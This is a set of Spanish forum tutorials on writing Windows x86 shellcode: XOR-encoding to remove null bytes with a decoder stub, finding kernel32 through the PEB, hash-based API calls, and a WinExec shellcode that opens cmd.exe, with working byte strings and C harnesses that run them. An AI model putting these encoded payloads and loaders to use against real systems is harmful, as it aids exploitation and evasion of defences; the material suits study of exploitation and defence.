\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00

Como podemos ver, contiene muchos bytes nulos: "\x00".

Veamos la salida al pasarlo por el script:

Citar
=Shellcode original: \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00
=>  Codificando Opcodes (xor 0x10)...
=Shellcode codificada: \xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f\xa7\x5a\x36\x21\xef\x21\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\xd1\xdf\x1d\x11\xd7\x28\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\x21\x9b\x7f\x97\xef\xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\x30\x10
=>  Moviendo shellcode codificada a sc.shellcode...
=>  Buscando bytes nulos y saltos de linea en sc.shellcode...
=<    \x00 encontrado con: xor 0x10
=>  Codificando Opcodes (xor 0x11)...
=Shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11
=>  Moviendo shellcode codificada a sc.shellcode...
=>  Buscando bytes nulos y saltos de linea en sc.shellcode...
=>  Creando codigo fuente del stub decodificador...
****************10c111_decoder.asm********
[BITS 32]
global ini
ini:
   jmp short sc_data      
decode_routine:
     pop ebx                      
   xor ecx,ecx         
   mov cx, 0x10c1
   sub cx, 0x1010         
decode_loop:
   xor byte [ebx], 0x11      
   inc ebx            
   loop decode_loop         
   jmp short shellcode      
sc_data:
   call decode_routine         
shellcode:
*****************************************
=Codigo del decodificador guardado en 10c111_decoder.asm

>Proceso finalizado<

Bien, ya tenemos la shellcode codificada sin bytes nulos ni saltos de linea:

Citar
\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11

---> El Stub:

Estudiemos el stub creado por el script:

Código
  1. [BITS 32]
  2. global ini
  3. ini:
  4. jmp short sc_data ;obtenemos el puntero al codigo de la shellcode
  5. decode_routine:
  6.   pop ebx                   ;puntero al inicio de la shellcode a ebx
  7. xor ecx,ecx ;ecx a cero
  8. mov cx, 0x10c1           ;tama?o de la shellcode mas 0x1010
  9. sub cx, 0x1010 ;cx menos los 0x1010 a?adidos (la explicacion mas adelante)
  10. decode_loop:
  11. xor byte [ebx], 0x11 ;byte contenido en ebx decodificado
  12. inc ebx ;ebx++
  13. loop decode_loop ;cx=0? no, sigue decodificando
  14. jmp short shellcode ;si, ejecutemos la shellcode
  15. sc_data:
  16. call decode_routine ;puntero a la shellcode a la pila
  17. shellcode:

Veamos las lineas del decodificador:

Código
  1. mov cx, 0x10c1
  2. sub cx, 0x1010

Y la del codificador:

Código
  1. set/a sc_sz+=0x1010

Por que es necesario sumar 0x1010 y luego restarlos al valor de cx, no da lo mismo y es mas sencillo hacer algo como:

Código
  1. mov cx, 0xb1

 ???

Si, si es mas sencillo, pero veamoslo en opcodes:

Código
  1. mov cx, 0x10c1
  2. sub cx, 0x1010
>>B9C11081E91010


Código
  1. mov cx, 0xb1
>>B9B100

Todo bien, pero notese algo:

B9B100

Un byte nulo, asi, para evitar bytes nulos en el decodificador el script usa lo que vimos en polimorfismo, diferentes instrucciones para llegar a un mismo punto, asi,  hay menos probabilidades de que el stub quede inservible con bytes nulos, no digo que sea imposible, eso es parte del programador, pero es una tecnica que ayuda a evitarlo.

Probando todo

-Tenemos el stub para la shellcode:
Citar
\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff

-Tenemos la shellcode codificada:
Citar
\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11

Encapsulamos en C:

Código
  1. char code[] = "\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11";
  2.  
  3. int main()
  4. {
  5. int (*func)();
  6. func = (int (*)()) code;
  7. (int)(*func)();
  8. }



funciona!! :)



Referencias
Understanding Windows Shellcode
en.wikipedia.org/wiki/Shellcode
skypher.com/wiki/index.php/Main_Page

Articulos mios relacionados al shellcoding:
Creando una Shellcode (x86?win)
Creando una Shellcode: "Direccion de kernel32 y calls especiales"



Saludos!
4  Seguridad Informática / Bugs y Exploits / [Taller] Creando una Shellcode: "Direccion de kernel32 y calls especiales" en: 26 Febrero 2011, 14:16 pm
Creando una Shellcode
Direccion de kernel32 y calls especiales

Articulo previo: Creando una Shellcode

por lShadowl



Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.



Teoria

Nota: Info sobre las estructuras: http://ntinternals.net/ ; http://msdn.microsoft.com/

Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).

PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:

Código:
typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;

La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:

Código:
mov ebx,fs:[0x30]

podemos tener en 'eax' un puntero a PEB. Pero para que nos sirve tener acceso a PEB?

En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:
Código:
 PPEB_LDR_DATA                 Ldr;

Ahora, veamos la estructura de PEB_LDR_DATA:

Código:
typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;

Bien, lo que nos interesa aqui es la list entry:

Código:
LIST_ENTRY InLoadOrderModuleList;

Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:

Código:
typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;

Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.



Encontrando la direccion de kernel32.dll

Para filtrar los datos del PEB partimos en tener un puntero a PEB:

Código:
mov ebx, fs:[0x30] 

Ahora necesitamos apuntar a InLoadOrderModuleList de LDR
Código:
		mov ebx, [ebx+0x0C]  ;puntero a LDR 
mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList

Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32
Código:
		mov ebx, [ebx]       
mov ebx, [ebx + 0x08] 

Entonces tendremos como codigo resultante:

Código:
		xor ebx, ebx ;ebx a 0
mov ebx, fs:[0x30] ;apuntamos a PEB
mov ebx, [ebx+0x0C] ;LDR a edx
mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
mov ebx, [ebx]         
mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx

Comparemos como funciona vs GetModuleHandleA():

Código:
#include <windows.h>
#include <stdio.h>

int main()
{
DWORD kernelAdd;
printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
__asm{
xor ebx, ebx           
mov ebx, fs:[0x30] 
mov ebx, [ebx+0x0C] 
mov ebx, [ebx+0x1C] 
mov ebx, [ebx]         
mov ebx, [ebx+0x08] 
mov kernelAdd, ebx
}
printf("\ncon PEB: %8X", kernelAdd);
return 0;
}



Como podemos ver, las direcciones resultantes (en mi caso: "7C800000" //win XP Pro sp3) son identicas. El metodo funciona.



Mas teoria

Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta sección es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.

Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. >>



De estos campos nos interesaremos en la parte de los directorios de datos. >>



EAT - Export Address Table

La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un ?ndice basado en cero de 5.)

Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no est?adentro de la sección de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una direcci?n real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un s?mbolo en otro DLL.



Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.



Llamando a las APIs

El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos :D.

Analicemos como hacer las llamadas siguiendo los pasos anteriores:

Código:
api_call:
  pushad     ;registros a pila           
  mov ebp, esp         
  xor edx, edx         
  mov edx, [fs:edx+48] ;puntero a PEB
  mov edx, [edx+12]    ;puntero a LDR 
  mov edx, [edx+20]    ;puntero al primer modulo de la lista de InMemoryOrder

next_mod:
  mov esi, [edx+40]    ;puntero al nombre de los modulos
  movzx ecx, word [edx+38] ;logitud a verficar
  xor edi, edi     
   
loop_modname:
  xor eax, eax           
  lodsb                 
  cmp al, 'a'        ;el nombre del modulo esta en minuscula     
  jl not_lowercase   ;lo pasamos
  sub al, 0x20       ;a mayuscula   
 
not_lowercase:
  ror edi, 13        ;rotamos hacia la derecha   
  add edi, eax       ;el valor del hash     
  loop loop_modname  ;hasta ecx=0   
  push edx           ;Posicion     
  push edi           ;y hash del modulo actual a pila   
  mov edx, [edx+16]  ;direccion base del modulo a edx     
  mov eax, [edx+60]  ;cabecera PE a eax   
  add eax, edx         
  mov eax, [eax+120] ;EAT a eax   
  test eax, eax      ;hay EAT?   
  jz get_next_mod1   ;no, siguiente modulo   
  add eax, edx         
  push eax           ;EAT del modulo a pila 
  mov ecx, [eax+24]  ;numero de funciones del modulo a ecx   
  mov ebx, [eax+32]  ;RVA de las funciones a ebx   
  add ebx, edx         
 
get_next_func:
  jecxz get_next_mod ;si no quedan mas funciones, vamos con el siguiente modulo 
  dec ecx            ;numero de la funcion - 1   
  mov esi, [ebx+ecx*4]  ;RVA de la funcion a esi
  add esi, edx           
  xor edi, edi           
 
loop_funcname:
  xor eax, eax       
  lodsb           ;byte por byte del nombre de la funcion en ASCII     
  ror edi, 13     ;buscamos     
  add edi, eax    ;el caracter     
  cmp al, ah      ;nulo que indica el final de la cadena     
  jne loop_funcname ;hasta tener el hash completo de la funcion   
  add edi, [ebp-8]  ;edi=hash del modulo+hash de la funcion   
  cmp edi, [ebp+36] ;es la que buscamos?   
  jnz get_next_func ;no, sigamos con la siguiente funcion   
 
  pop eax           ;EAT del modulo a eax   
  mov ebx, [eax+36] ;conseguimos RVA     
  add ebx, edx      ;le a?adimos la direccion base del modulo     
  mov cx, [ebx+2*ecx]   
  mov ebx, [eax+28]  ;RVA de la funciones a ebx   
  add ebx, edx       ;le a?adimos la direccion base del modulo 
  mov eax, [ebx+4*ecx] ;RVA de la funcion que queremos a eax 
  add eax, edx       ;le a?adimos la direccion base del modulo y listo, en eax

tenemos la direccion virtual de la funcion   
 
finish:
  mov [esp+36], eax ;viene un popad asiq salvamos eax, escribiendolo sobre el valor

anterior   
  pop ebx        ;arreglamos la pila       
  pop ebx               
  popad               
  pop ecx               
  pop edx               
  push ecx             
  jmp eax        ;llamamos a la funcion       
     
get_next_mod:
  pop eax         ;EAT del siguiente modulo a eax 
   
get_next_mod1:
  pop edi         ;hash del siguiente modulo a eax       
  pop edx         ;posicion donde quedamos en la lista de modulos a edx     
  mov edx, [edx]  ;puntero al siguiente modulo     
  jmp short next_mod
  ;Harmony Security

Bien, ya tenemos como obtener la direccion virtual de la funcion que necesitamos llamar, probemos:

Código:
[BITS 32]

  cld        ;bandera de direccion a cero           
  call start ;puntero de api_call a la pila   
   
api_call:
 ;(...) 
 ;codigo de api_call
 ;(...)

start:
  pop ebp         ;puntero de api_call a ebp     
     
  jmp command     ;comando a ejecutar va a pila

exec:   
  push 0x876F8B31 ;hash para WinExec a pila     
  call ebp        ;llamamos a api_call       
   
  push 0x56A2B5F0 ;hash para ExitProcess a pila       
  call ebp        ;llamamos a api_call     

command:
  call exec
  db "cmd.exe ", 0


Bien, ya tenemos la shellcode, pasamos a Opcodes y encapsulamos en C:

Código:
char code[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68\x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00";

int main()
{
int (*func)();
func = (int (*)()) code;
(int)(*func)();
}

Funciona?



Si funciono.

Algunos hashes muy usados:

Código:
0x006B8029, "ws2_32.dll!WSAStartup" 
0xE0DF0FEA, "ws2_32.dll!WSASocketA"
0x6737DBC2, "ws2_32.dll!bind"
0xFF38E9B7, "ws2_32.dll!listen"
0xE13BEC74, "ws2_32.dll!accept"
0x614D6E75, "ws2_32.dll!closesocket"
0x6174A599, "ws2_32.dll!connect"
0x5FC8D902, "ws2_32.dll!recv"
0x5F38EBC2, "ws2_32.dll!send"

0x5BAE572D, "kernel32.dll!WriteFile"
0x4FDAF6DA, "kernel32.dll!CreateFileA"
0x13DD2ED7, "kernel32.dll!DeleteFileA"
0xE449F330, "kernel32.dll!GetTempPathA"
0x528796C6, "kernel32.dll!CloseHandle"
0x863FCC79, "kernel32.dll!CreateProcessA"
0xE553A458, "kernel32.dll!VirtualAlloc"
0x300F2F0B, "kernel32.dll!VirtualFree"
0x0726774C, "kernel32.dll!LoadLibraryA"
0x7802F749, "kernel32.dll!GetProcAddress"
0x601D8708, "kernel32.dll!WaitForSingleObject"
0x876F8B31, "kernel32.dll!WinExec"
0x9DBD95A6, "kernel32.dll!GetVersion"
0xEA320EFE, "kernel32.dll!SetUnhandledExceptionFilter"
0x56A2B5F0, "kernel32.dll!ExitProcess"
0x0A2A1DE0, "kernel32.dll!ExitThread"

0x6F721347, "ntdll.dll!RtlExitUserThread"

0x23E38427, "advapi32.dll!RevertToSelf"

Saludos!
5  Seguridad Informática / Bugs y Exploits / [Taller] Creando una shellcode (x86 | win) en: 26 Febrero 2011, 14:13 pm
Creando una Shellcode

por lShadowl



Conocimientos previos requeridos: asm 32b y C

Conocimientos previos:
-Que es una shellcode?
"Una shellcode es un conjunto de ?rdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecuci?n de un programa para conseguir que la m?quina en la que reside se ejecute la operaci?n que se haya programado.(...)" >> http://es.wikipedia.org/wiki/Shellcode

Herramientas usadas en este tutorial?Descarga:

Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.

La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:

-----Categoria Devel----
>binutils
>gcc
>nasm
----Categoria System----
>util-linux
----Categoria Editors----
>vim

Otras herramientas y scripts usados estan como codigo fuente en el tutorial.



Introduccion

Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el

proceso en 2 partes: codificacion en ensamblador y conversion a opcode.

El objetivo del tutorial es crear una shellcode que abra una cmd.



Codificacion en ensamblador

Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones "WinExec" [con que ejecutaremos la cmd] y "ExitProcess" [con la cual saldremos del programa], ambas se encuentran en la dll "kernel32".
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a "arwin", un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. /***************************************
  5. arwin - win32 address resolution program
  6. by steve hanna v.01
  7.    vividmachines.com
  8.    shanna@uiuc.edu
  9. you are free to modify this code
  10. but please attribute me if you
  11. change the code. bugfixes & additions
  12. are welcome please email me!
  13. to compile:
  14. you will need a win32 compiler with
  15. the win32 SDK
  16.  
  17. this program finds the absolute address
  18. of a function in a specified DLL.
  19. happy shellcoding!
  20. ***************************************/
  21.  
  22.  
  23. int main(int argc, char** argv)
  24. {
  25. HMODULE hmod_libname;
  26. FARPROC fprc_func;
  27.  
  28. printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
  29. if(argc < 3)
  30. {
  31. printf("%s <Library Name> <Function Name>\n",argv[0]);
  32. exit(-1);
  33. }
  34.  
  35. hmod_libname = LoadLibrary(argv[1]);
  36. if(hmod_libname == NULL)
  37. {
  38. printf("Error: could not load library!\n");
  39. exit(-1);
  40. }
  41. fprc_func = GetProcAddress(hmod_libname,argv[2]);
  42.  
  43. if(fprc_func == NULL)
  44. {
  45. printf("Error: could find the function in the library!\n");
  46. exit(-1);
  47. }
  48. printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);
  49.  
  50.  
  51. }

Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.

Ya con arwin usaremos la linea:

$ arwin kernel32.dll WinExec

con lo cual obtendremos un resultado parecido a este:



El mismo proceso para buscar "ExitProcess". >>



Ahora que tenemos las direcciones, pasemos al code en asm.

--------------------------------------------------------------------------------------------
Código
  1. BITS 32                  ;especificamos que el code es 32bits
  2.  
  3. jmp short cmd                  ;"cmd" a la pila
  4.  
  5. init:
  6.   mov edx,7C8623ADh      ; 7C8623ADh>>direccion de WinExec a edx
  7.   call edx                             ; hacemos la llamada (recordemos que "cmd" esta en la pila)
  8.   mov edx,7C81CAFAh      ; 7C8623ADh>>direccion de ExitProcess a edx
  9.   call edx                            ; salimos
  10.  
  11. cmd:
  12.   CALL init
  13.   db 'cmd',00h    ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio
--------------------------------------------------------------------------------------------

Para cuestiones de seguimiento, llamaremos a este archivo "shc.asm".



(Entremedio) Como pusiste a cmd en la pila, no veo ni un push?



La respuesta a esta pregunta reside en el comportamiento de la instrucción 'call' en conjunto con la instrucción 'ret'>>
CALL lo que hace es introducir IP+1 en la pila, ósea la instrucción que sigue al CALL, y salta a la dirección que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el.

En ese caso

Código
  1. inc eip
  2. push eip
  3. jmp func
  4.  
y

Código
  1. call func


son equivalente, así como son:

Código
  1. pop edx ;estando eip+1 del code c2 al tope de la pila
  2. jmp edx

y

Código
  1. ret

La conclusión que podemos sacar de este comportamiento es que call nos deja un puntero en la pila de la siguiente dirección, este es el principio del código.
Salta a cmd:
Código
  1. jmp short cmd
     
      

En cmd: se manda el offset de "db 'cmd',00h" a pila y salta a init:


Código
  1. cmd:
  2.   CALL init
  3.   db 'cmd',00h


En init: 7C8623ADh pasa a edx y se lo llama teniendo el puntero a "db 'cmd',00h" en la pila.


Código
  1. init:
  2.   mov edx,7C8623ADh  
  3.   call edx




Conversion a opcode

Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:

$ nasm -f bin -o shc.bin shc.asm

En shc.bin tendremos algo como esto:

Código:
???#?|????|???????cmd 


luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:

$ xxd -i shc.bin

y nos devolvera esto:



Y listo, tenemos nuestra shellcode lista en C:
Código
  1. unsigned char shc_bin[] = {
  2.  0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca,
  3.  0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64,
  4.  0x00
  5. };
  6. unsigned int shc_bin_len = 25;


Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:

Código
  1. #!/bin/bash
